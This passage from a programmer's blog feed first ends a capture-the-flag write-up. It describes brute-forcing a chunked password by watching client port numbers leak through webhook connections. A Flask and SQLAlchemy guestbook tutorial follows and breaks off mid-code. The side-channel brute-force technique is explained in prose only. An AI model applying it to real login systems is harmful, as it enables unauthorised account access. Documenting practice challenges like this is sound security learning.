<p>The master server tested <em>two chunks</em> in the process of checking my password, and it used up <em>two ports</em>.  If I turn around and immediately check a password again, it’ll use ports 50002 and 50003.</p>

<p>Okay, that’s neat, but doesn’t tell me anything, because I can’t see those ports.</p>

<p>Oh wait I totally can!  I SSHed into the level 2 server, left running a crappy little Python script that listened on a socket and printed out the <em>client port used to connect to it</em>, and tried the above again with a webhook pointed at my script.</p>

<p>Now the sequence of events is:</p>

<ul>
  <li>I try <code>111222333444</code>.</li>
  <li>The master server asks the first chunk server if its chunk is <code>111</code>.  This uses port 50002.  Chunk server says <em>yes</em>.</li>
  <li>The master server asks the second chunk server if its chunk is <code>222</code>.  This uses port 50003.  Chunk server says <em>no</em>.</li>
  <li>The master server stops trying and decides <em>no</em>.  It contacts my webhook to say <em>no</em>.  This uses port 50004, <em>which I can see</em>.  Then it tells me <em>no</em> as well and stops.</li>
</ul>

<p>Now, if I immediately try the <em>same password</em> a second time, I know two ports that were used: 50004 and 50007.  That’s three used for the request, which means two chunk servers were contacted, which means <strong>the first chunk must be correct</strong>.</p>

<p>Thus it’s possible to bruteforce, one chunk at a time.  I wrote a script to do this, sending off a request to the server, ignoring the response, and immediately listening for a webhook.</p>

<p>There’s a slight wrinkle here, because other people are also using the same machine, and they’re chewing up client ports too.  So getting a delta of 3 doesn’t mean the first chunk <em>must</em> be right; only that it <em>could</em> be right.  It could also be wrong, but something else could have used a port in the interim.  On the other hand, if the delta is 2, then the master server can <em>only</em> have contacted one chunk server and immediately given up, so the first chunk must be incorrect.</p>

<p>To be reasonably confident, I decided that several deltas of 3 with no deltas of 2 for the same chunk means it’s probably correct.</p>

<p>I let it run, and gradually cracked some chunks.  Only a few people had finished level 8 when I started, but an hour or so later I was barely a third done, and the leaderboard was rapidly filling up.  I ended up racing someone else on IRC for the very last slot on the first page (which was the only page at the time): I’d been sloppy and missed the correct second chunk, he’d been sloppy and done similar, and he was using Go versus my Python.  For the last chunk I bruteforced against the app from my own machine, not bothering to check for ports, and I ended up running <code>curl</code> in a loop in eight terminals, each one trying a different first digit, and crossed my fingers as he rapidly caught up.  The <code>curl</code>s started finishing, still with no answer, and I was starting to freak out when I finally got my last chunk of <code>882</code>.  (Ugh.)  I captured the flag and, as tradition requires, performed the <a href="http://dilbert.com/strips/comic/1997-11-27/">engineer’s victory dance</a>.</p>

<p>You can see <a href="http://paste.pound-python.org/show/XVsuIyr0pmBX24Fy1YOQ/">my terrible script</a> if you so desire.  (There’s also a <a href="https://docs.google.com/spreadsheet/viewform?formkey=dHBYSjJyY1V3dFdUN1hvMVB5cUU0Nnc6MQ">list of solvers</a>.)  I am so sorry for the tabs.  The level 2 machine didn’t have my <code>.vimrc</code> and I was in a hurry.  Please don’t think less of me.</p>

<p>I don’t know if level 8 even has a real moral.  This is so obscure I can’t even find where Twisted mentions changing it, and it was a very specific set of circumstances that let me crack the password.</p>

<h2 id="end">End</h2>

<p>This was a ton of fun, and mad props to Stripe for setting it up (again!).  I kinda regret not even trying the first one, and I certainly look forward to the third.  :)</p>

<p>I’m pretty sure we should get special t-shirts for finding bonus solutions to some of the puzzles, though.  And maybe literal gray hats.</p>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Quick doesn't have to mean dirty]]></title>
    <link href="http://me.veekun.com/blog/2012/07/28/quick-doesnt-mean-dirty/"/>
    <updated>2012-07-28T12:40:00-07:00</updated>
    <id>http://me.veekun.com/blog/2012/07/28/quick-doesnt-mean-dirty</id>
    <content type="html"><![CDATA[<p>From <a href="http://techcrunch.com/2012/07/28/not-that-kind-of-filthy-get-your-mind-out-of-the-gutter/">TechCrunch</a>:</p>

<blockquote>
  <p>Anyway, my sympathy for PHP’s deviltry is because I appreciate its ethos. Its just-get-it-done attitude. Or, as Melvin Tercan put it in his recent blog post, “here’s to the PHP Misfits. The pragmatic ones who would pick up anything – even double-clawed hammers – to build their own future. Often ridiculed and belittled by the hip guys in class who write cool code in Ruby or Python, but always the ones who just get shit done.”</p>

  <p>He’s on to something there. The best is the enemy of the good, and shipping some working PHP code is approximately a million times better than designing something mindblowing in Haskell that never actually ships. I fully support Jeff Atwood’s call to replace PHP once and for all–but I hope that everyone realizes that eliminating its many, many, multitudinous flaws won’t be enough; they’ll have to somehow duplicate its just-make-it-work ethos, too.</p>
</blockquote>

<p>This is a recurring sentiment: developers telling me, well, yeah, Python may be all cool in your ivory tower, <em>man</em>, but like, I just want to write some programs.</p>

<p>To which I say: what the <strong>fuck</strong> are you people smoking?  Whence comes this belief that anything claimed to be a better tool must be some hellacious academic-only monstrosity which actively resists real-world use?</p>

<p>But, hey, I’m sick of talking about PHP.  So let’s talk about Python.  In honor of the 90s, let’s make a guestbook.</p>

<!-- more -->

<h2 id="flask">Flask</h2>

<p><a href="http://flask.pocoo.org/">Flask</a> is the thing you use to get up and running quickly.  Let’s do that.  I don’t think I’ve actually built a real thing with Flask, so this will be fun times for me, too.  I’m even doing this in REAL TIME.</p>

<pre><code>eevee@perushian ~/dev/blog ⚘ cd ~/dev
eevee@perushian ~/dev ⚘ mkdir guestbook_demo
eevee@perushian ~/dev ⚘ cd guestbook_demo
eevee@perushian ~/dev/guestbook_demo ⚘ git init
Initialized empty Git repository in /home/eevee/dev/guestbook_demo/.git/
eevee@perushian ~/dev/guestbook_demo ⚘ mkdir guestbook_demo
eevee@perushian ~/dev/guestbook_demo ⚘ touch guestbook_demo/__init__.py
eevee@perushian ~/dev/guestbook_demo ⚘ pip2 install --user flask
</code></pre>

<p>Yes, my shell prompt ends with a flower.  (If I’m root, it’s a <a href="https://github.com/eevee/rc/blob/master/.zshrc#L63">hammer and sickle</a>.)</p>

<p>Make a directory, make a git repository, make a blank Python namespace to stick it in.  (I like to start with a package from the beginning—top-level things named “app” gross me out—but this is entirely optional.)  Install Flask.  <code>--user</code> installs it to my home directory; I probably could’ve gotten it from my package manager, but I was too lazy to look.  I have to say <code>pip2</code> because this is Arch Linux, which is a super special snowflake and considers Python 3 to be the default Python now.</p>

<p>Okay, write some code.  Look at all this boilerplate I had to copy from Flask’s front page oh no!</p>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/app.py</span><a href="https://github.com/eevee/guestbook_demo/blob/7fa216c5dc0f73615434d3812d69cfc88a16cfa1/guestbook_demo/app.py">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">absolute_import</span><span class="p">,</span> <span class="n">unicode_literals</span>
</span><span class="line">
</span><span class="line"><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span>
</span><span class="line"><span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
</span><span class="line">
</span><span class="line">
</span><span class="line"><span class="nd">@app.route</span><span class="p">(</span><span class="s">&quot;/&quot;</span><span class="p">)</span>
</span><span class="line"><span class="k">def</span> <span class="nf">root</span><span class="p">():</span>
</span><span class="line">    <span class="k">return</span> <span class="s">&quot;Wow this is totally useless so far!&quot;</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/__main__.py</span><a href="https://github.com/eevee/guestbook_demo/blob/7fa216c5dc0f73615434d3812d69cfc88a16cfa1/guestbook_demo/__main__.py">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">absolute_import</span>
</span><span class="line">
</span><span class="line"><span class="kn">from</span> <span class="nn">guestbook_demo.app</span> <span class="kn">import</span> <span class="n">app</span>
</span><span class="line">
</span><span class="line"><span class="n">app</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Again, half of what I’ve done here is unnecessary.  The <a href="http://docs.python.org/library/__future__.html"><code>__future__</code></a> stuff just makes some of Python’s behavior a little nicer.  I made a file called <code>__main__</code> so I can run my app with <code>python2 -m guestbook_demo</code>.  I love <code>-m</code>.  Also, this avoids the <code>if __name__ == "__main__"</code> incantation.</p>

<p>Fire it up.</p>

<pre><code>eevee@perushian ~/dev/guestbook_demo ⚘ python2 -m guestbook_demo
 * Running on http://127.0.0.1:5000/
</code></pre>

<p>Click the link.  I have a website.  Hey, I didn’t even have to install Apache.</p>

<h2 id="templates">Templates</h2>

<p>Well, no, first things first.</p>

<pre><code>eevee@perushian ~/dev/guestbook_demo ⚘ vim .gitignore
# *.pyc
# .*.swp
eevee@perushian ~/dev/guestbook_demo ⚘ git add guestbook_demo/
eevee@perushian ~/dev/guestbook_demo ⚘ git add .gitignore
eevee@perushian ~/dev/guestbook_demo ⚘ git commit -m 'Initial commit'
[master (root-commit) 7fa216c] Initial commit
 3 files changed, 16 insertions(+)
 create mode 100644 .gitignore
 create mode 100644 guestbook_demo/__init__.py
 create mode 100644 guestbook_demo/__main__.py
 create mode 100644 guestbook_demo/app.py
</code></pre>

<p>Okay, now templates.  Hurriedly consult <a href="http://flask.pocoo.org/docs/templating/">documentation</a>.  Blah, blah, autoescaping, how do I <a href="http://flask.pocoo.org/docs/tutorial/views/">use it</a>.  Okay, so Flask looks for templates in a <code>templates/</code> directory by default.  How eerily convenient.</p>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/templates/_base.html</span><a href="https://github.com/eevee/guestbook_demo/blob/9aca69520bb5bd3dba18221ca2f2dab4161fa122/guestbook_demo/templates/_base.html">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
<span class="line-number">10</span>
<span class="line-number">11</span>
<span class="line-number">12</span>
<span class="line-number">13</span>
<span class="line-number">14</span>
<span class="line-number">15</span>
</pre></td><td class="code"><pre><code class="html"><span class="line"><span class="cp">&lt;!DOCTYPE html&gt;</span>
</span><span class="line"><span class="nt">&lt;html</span> <span class="na">lang=</span><span class="s">&quot;en&quot;</span><span class="nt">&gt;</span>
</span><span class="line">    <span class="nt">&lt;head&gt;</span>
</span><span class="line">        <span class="nt">&lt;title&gt;</span>{% block page_title %}{% endblock %}<span class="nt">&lt;/title&gt;</span>
</span><span class="line">    <span class="nt">&lt;/head&gt;</span>
</span><span class="line">    <span class="nt">&lt;body&gt;</span>
</span><span class="line">        <span class="nt">&lt;section</span> <span class="na">id=</span><span class="s">&quot;content&quot;</span><span class="nt">&gt;</span>
</span><span class="line">            {% block content %}
</span><span class="line">            {% endblock %}
</span><span class="line">        <span class="nt">&lt;/section&gt;</span>
</span><span class="line">        <span class="nt">&lt;footer</span> <span class="na">id=</span><span class="s">&quot;footer&quot;</span><span class="nt">&gt;</span>
</span><span class="line">            My Cool Guestbook 2000 © me forever
</span><span class="line">        <span class="nt">&lt;/footer&gt;</span>
</span><span class="line">    <span class="nt">&lt;/body&gt;</span>
</span><span class="line"><span class="nt">&lt;/html&gt;</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/templates/index.html</span><a href="https://github.com/eevee/guestbook_demo/blob/9aca69520bb5bd3dba18221ca2f2dab4161fa122/guestbook_demo/templates/index.html">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
<span class="line-number">10</span>
<span class="line-number">11</span>
<span class="line-number">12</span>
<span class="line-number">13</span>
</pre></td><td class="code"><pre><code class="html"><span class="line">{% extends &quot;_base.html&quot; %}
</span><span class="line">
</span><span class="line">{% block title %}Guestbook{% endblock %}
</span><span class="line">
</span><span class="line">{% block content %}
</span><span class="line">    <span class="nt">&lt;h1&gt;</span>Guestbook<span class="nt">&lt;/h1&gt;</span>
</span><span class="line">
</span><span class="line">    <span class="nt">&lt;p&gt;</span>Hello, and welcome to my guestbook, because it&#39;s 1997!<span class="nt">&lt;/p&gt;</span>
</span><span class="line">
</span><span class="line">    <span class="nt">&lt;ul</span> <span class="na">class=</span><span class="s">&quot;guests&quot;</span><span class="nt">&gt;</span>
</span><span class="line">        <span class="nt">&lt;li&gt;</span>...<span class="nt">&lt;/li&gt;</span>
</span><span class="line">    <span class="nt">&lt;/ul&gt;</span>
</span><span class="line">{% endblock %}
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>And update the Python side.</p>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/app.py</span><a href="https://github.com/eevee/guestbook_demo/blob/9aca69520bb5bd3dba18221ca2f2dab4161fa122/guestbook_demo/app.py">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="nd">@app.route</span><span class="p">(</span><span class="s">&quot;/&quot;</span><span class="p">)</span>
</span><span class="line"><span class="k">def</span> <span class="nf">root</span><span class="p">():</span>
</span><span class="line">    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">&#39;index.html&#39;</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Now we have some templates.  Hey, that wasn’t too bad.  Could stand to have some data, though.</p>

<h2 id="an-aside-debugging">An aside: debugging</h2>

<p>I learned something doing this, because I made a typo in my template: Flask only does live debugging if I set <code>debug=True</code> when I run it.</p>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/__main__.py</span><a href="https://github.com/eevee/guestbook_demo/blob/5f9e225ed3960ddd8685399ad4f11f195293bab0/guestbook_demo/__main__.py">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="n">app</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">debug</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>This also provides automatic code reloading.  Unfortunately, due to some arcane interaction between the reloader and <code>python -m</code>’s behavior, I have to use <code>PYTHONPATH=. python2 -m guestbook_demo</code> to run my app now.  Boo.  Look at the silly problems I’ve inflicted on myself.  That’s what I get for not following the tutorial.</p>

<p>Incidentally, it seems that if I’m putting my code in a package, I oughta hardcode the package name instead of using <code>__name__</code>.  (The documentation for the <code>Flask</code> class explains this.)</p>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/app.py</span><a href="https://github.com/eevee/guestbook_demo/blob/5f9e225ed3960ddd8685399ad4f11f195293bab0/guestbook_demo/app.py">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="s">&#39;guestbook_demo&#39;</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<h2 id="database">Database</h2>

<p>I like <a href="http://www.sqlalchemy.org/">SQLAlchemy</a>.  I could write a bunch of queries by hand for something simple like this, but honestly, fuck that noise.</p>

<p>First, I need a database.  (<code>createdb</code> is a PostgreSQL thing.  I’m amazed at how ballsy they are, claiming a generic name like that.)</p>

<pre><code>eevee@perushian ~/dev/guestbook_demo ⚘ createdb guestbook_demo
</code></pre>

<p>I don’t need anything fancy for arranging the DB code, either.  Credentials should go in configuration, yadda yadda, but since I don’t really need credentials here (Postgres can authenticate using my local Unixy login), who cares.</p>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/db.py</span><a href="https://github.com/eevee/guestbook_demo/blob/92f112dc3701ed5bd68a68c48a3a50b91694a113/guestbook_demo/db.py">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
<span class="line-number">10</span>
<span class="line-number">11</span>
<span class="line-number">12</span>
<span class="line-number">13</span>
<span class="line-number">14</span>
<span class="line-number">15</span>
<span class="line-number">16</span>
<span class="line-number">17</span>
<span class="line-number">18</span>
<span class="line-number">19</span>
<span class="line-number">20</span>
<span class="line-number">21</span>
<span class="line-number">22</span>
<span class="line-number">23</span>
<span class="line-number">24</span>
<span class="line-number">25</span>
<span class="line-number">26</span>
<span class="line-number">27</span>
<span class="line-number">28</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="kn">import</span> <span class="nn">datetime</span>
</span><span class="line">
</span><span class="line"><span class="kn">from</span> <span class="nn">sqlalchemy</span> <span class="kn">import</span> <span class="n">create_engine</span>
</span><span class="line"><span class="kn">from</span> <span class="nn">sqlalchemy.ext.declarative</span> <span class="kn">import</span> <span class="n">declarative_base</span>
</span><span class="line"><span class="kn">from</span> <span class="nn">sqlalchemy.orm</span> <span class="kn">import</span> <span class="n">scoped_session</span><span class="p">,</span> <span class="n">sessionmaker</span>
</span><span class="line"><span class="kn">from</span> <span class="nn">sqlalchemy.schema</span> <span class="kn">import</span> <span class="n">Column</span>
</span><span class="line"><span class="kn">from</span> <span class="nn">sqlalchemy.types</span> <span class="kn">import</span> <span class="n">DateTime</span><span class="p">,</span> <span class="n">Integer</span><span class="p">,</span> <span class="n">Unicode</span>
</span><span class="line">
</span><span class="line"><span class="n">engine</span> <span class="o">=</span> <span class="n">create_engine</span><span class="p">(</span><span class="s">&#39;postgresql:///guestbook_demo&#39;</span><span class="p">)</span>
</span><span class="line"><span class="n">session</span> <span class="o">=</span> <span class="n">scoped_session</span><span class="p">(</span><span class="n">sessionmaker</span><span class="p">(</span><span class="n">bind</span><span class="o">=</span><span class="n">engine</span><span class="p">,</span> <span class="n">autoflush</span><span class="o">=</span><span class="bp">False</span><span class="p">))</span>
</span><span class="line">
</span><span class="line"><span class="n">Base</span> <span class="o">=</span> <span class="n">declarative_base</span><span class="p">(</span><span class="n">bind</span><span class="o">=</span><span class="n">engine</span><span class="p">)</span>
</span><span class="line">
</span><span class="line">
</span><span class="line"><span class="c">### Yonder tables</span>
</span><span class="line">
</span><span class="line"><span class="k">class</span> <span class="nc">GuestbookEntry</span><span class="p">(</span><span class="n">Base</span><span class="p">):</span>
</span><span class="line">    <span class="n">__tablename__</span> <span class="o">=</span> <span class="s">&#39;guestbook_entries&#39;</span>
</span><span class="line">
</span><span class="line">    <span class="nb">id</span> <span class="o">=</span> <span class="n">Column</span><span class="p">(</span><span class="n">Integer</span><span class="p">,</span> <span class="n">primary_key</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">nullable</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
</span><span class="line">    <span class="n">timestamp</span> <span class="o">=</span> <span class="n">Column</span><span class="p">(</span><span class="n">DateTime</span><span class="p">,</span> <span class="n">nullable</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">index</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
</span><span class="line">    <span class="n">name</span> <span class="o">=</span> <span class="n">Column</span><span class="p">(</span><span class="n">Unicode</span><span class="p">,</span> <span class="n">nullable</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
</span><span class="line">    <span class="n">message</span> <span class="o">=</span> <span class="n">Column</span><span class="p">(</span><span class="n">Unicode</span><span class="p">,</span> <span class="n">nullable</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
</span><span class="line">
</span><span class="line">    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
</span><span class="line">        <span class="n">kwargs</span><span class="o">.</span><span class="n">setdefault</span><span class="p">(</span><span class="s">&#39;timestamp&#39;</span><span class="p">,</span> <span class="n">datetime</span><span class="o">.</span><span class="n">utcnow</span><span class="p">())</span>
</span><span class="line">
</span><span class="line">        <span class="nb">super</span><span class="p">(</span><span class="n">GuestbookEntry</span><span class="p">,</span> <span class="bp">self</span><span class="p">)</span><span class="o">.</span><span class="n">__init__</span><span class="p">(</span><span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>This gives me thread-safe transaction support and a canonical copy of my schema with rather little effort or magic.  Most of this can be intuited from SQLAlchemy’s hilariously extensive documentation.</p>

<p>Things to note:</p>

<ul>
  <li>There’s a <code>flask-sqlalchemy</code> package I could’ve used which saves a couple lines of boilerplate and automatically handles configuration, but I’m pretty comfortable with SQLAlchemy.</li>
  <li>I added a custom <code>__init__</code> that sets the timestamp for a new entry to the current time.  In UTC.  Always, always, UTC.</li>
  <li>I set <code>autoflush=False</code>, so I can do batched updates.  This won’t really matter now, but it’s nice to have from the beginning.</li>
</ul>

<p>Also, <code>scoped_session</code> does some gross things to make a single session variable multiplex across threads, but it requires knowing when I’m done with a thread’s session.  So I need this little guy in <code>app.py</code>.</p>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/app.py</span><a href="https://github.com/eevee/guestbook_demo/blob/92f112dc3701ed5bd68a68c48a3a50b91694a113/guestbook_demo/app.py">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="nd">@app.teardown_request</span>
</span><span class="line"><span class="k">def</span> <span class="nf">shutdown_session</span><span class="p">(</span><span class="n">exception</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
</span><span class="line">    <span class="n">db</span><span class="o">.</span><span class="n">session</span><span class="o">.</span><span class="n">remove</span><span class="p">()</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>This is one of those things <code>flask-sqlalchemy</code> would’ve done for me.  C’est la vie.</p>

<p>Create some tables:</p>

<pre><code>eevee@perushian ~/dev/guestbook_demo ⚘ python2
Python 2.7.3 (default, Apr 24 2012, 00:00:54)
[GCC 4.7.0 20120414 (prerelease)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
&gt;&gt;&gt; from guestbook_demo import db
&gt;&gt;&gt; db.Base.metadata.create_all(bind=db.engine)
&gt;&gt;&gt; 
eevee@perushian ~/dev/guestbook_demo ⚘ psql guestbook_demo
psql (9.1.4)
Type "help" for help.

guestbook_demo=# \dt
             List of relations
 Schema |       Name        | Type  | Owner 
--------+-------------------+-------+-------
 public | guestbook_entries | table | eevee
(1 row)
</code></pre>

<p>Okay, getting somewhere, but it’s not very useful yet.</p>

<p>Let’s add some data and display it.</p>

<pre><code>guestbook_demo=# insert into guestbook_entries values (default, now() at time zone 'UTC', 'Eevee', 'hello ur web sight is gr8');
INSERT 0 1
</code></pre>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/app.py</span><a href="https://github.com/eevee/guestbook_demo/blob/d2206df584d42ed70665b5a03a8c890883a0acd7/guestbook_demo/app.py">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="nd">@app.route</span><span class="p">(</span><span class="s">&quot;/&quot;</span><span class="p">)</span>
</span><span class="line"><span class="k">def</span> <span class="nf">root</span><span class="p">():</span>
</span><span class="line">    <span class="c"># TODO paginate me!</span>
</span><span class="line">    <span class="n">entries</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">session</span><span class="o">.</span><span class="n">query</span><span class="p">(</span><span class="n">db</span><span class="o">.</span><span class="n">GuestbookEntry</span><span class="p">)</span> \
</span><span class="line">        <span class="o">.</span><span class="n">order_by</span><span class="p">(</span><span class="n">db</span><span class="o">.</span><span class="n">GuestbookEntry</span><span class="o">.</span><span class="n">timestamp</span><span class="o">.</span><span class="n">desc</span><span class="p">())</span>
</span><span class="line">
</span><span class="line">    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">&#39;index.html&#39;</span><span class="p">,</span> <span class="n">entries</span><span class="o">=</span><span class="n">entries</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/templates/index.html</span><a href="https://github.com/eevee/guestbook_demo/blob/d2206df584d42ed70665b5a03a8c890883a0acd7/guestbook_demo/templates/index.html">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
</pre></td><td class="code"><pre><code class="html"><span class="line">    <span class="nt">&lt;ul</span> <span class="na">class=</span><span class="s">&quot;guests&quot;</span><span class="nt">&gt;</span>
</span><span class="line">        {% for entry in entries %}
</span><span class="line">        <span class="nt">&lt;li&gt;</span>
</span><span class="line">            <span class="nt">&lt;blockquote&gt;</span>{{ entry.message }}<span class="nt">&lt;/blockquote&gt;</span>
</span><span class="line">            <span class="nt">&lt;p&gt;</span>— <span class="nt">&lt;cite&gt;</span>{{ entry.name }}<span class="nt">&lt;/cite&gt;</span>, <span class="nt">&lt;time&gt;</span>{{ entry.timestamp }}<span class="nt">&lt;/time&gt;&lt;/p&gt;</span>
</span><span class="line">        <span class="nt">&lt;/li&gt;</span>
</span><span class="line">        {% endfor %}
</span><span class="line">    <span class="nt">&lt;/ul&gt;</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Flask reloads itself, so I just need to refresh the page, and there it be.</p>

<h2 id="spot-the-bug">Spot the bug</h2>

<p>I just noticed I didn’t have a page title because I called the block <code>page_title</code> in the base template and <code>title</code> in the inheriting template.</p>

<p>Also, I have <code>import datetime</code> in my <code>db.py</code>, but it should be <code>from datetime import datetime</code>.  <code>utcnow</code> is a method on the class, not a function in the module.  (I wish the module and class weren’t named the same; <a href="#flask">who</a> <em>does</em> that?!)  The in-browser stack trace helpfully pointed this out to me.</p>

<h2 id="signing-it">Signing it</h2>

<p>Finally, this isn’t very useful unless someone can write in it.  No surprises here; we have all the infrastructure and just need to make use of it.</p>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/templates/index.html</span><a href="https://github.com/eevee/guestbook_demo/blob/1b7c80fbd236923c17c14b0ace7bb3e741ca5ee1/guestbook_demo/templates/index.html">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
</pre></td><td class="code"><pre><code class="html"><span class="line">    <span class="nt">&lt;hr&gt;</span>
</span><span class="line">
</span><span class="line">    <span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">&quot;&quot;</span> <span class="na">method=</span><span class="s">&quot;POST&quot;</span><span class="nt">&gt;</span>
</span><span class="line">        <span class="nt">&lt;p&gt;</span>Name: <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">&quot;text&quot;</span> <span class="na">name=</span><span class="s">&quot;name&quot;</span><span class="nt">&gt;&lt;/p&gt;</span>
</span><span class="line">        <span class="nt">&lt;p&gt;</span>Message: <span class="nt">&lt;textarea</span> <span class="na">name=</span><span class="s">&quot;message&quot;</span> <span class="na">rows=</span><span class="s">&quot;10&quot;</span> <span class="na">cols=</span><span class="s">&quot;40&quot;</span><span class="nt">&gt;&lt;/textarea&gt;&lt;/p&gt;</span>
</span><span class="line">        <span class="nt">&lt;p&gt;&lt;button&gt;</span>Sign<span class="nt">&lt;/button&gt;&lt;/p&gt;</span>
</span><span class="line">    <span class="nt">&lt;/form&gt;</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/app.py</span><a href="https://github.com/eevee/guestbook_demo/blob/1b7c80fbd236923c17c14b0ace7bb3e741ca5ee1/guestbook_demo/app.py">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
<span class="line-number">10</span>
<span class="line-number">11</span>
<span class="line-number">12</span>
<span class="line-number">13</span>
<span class="line-number">14</span>
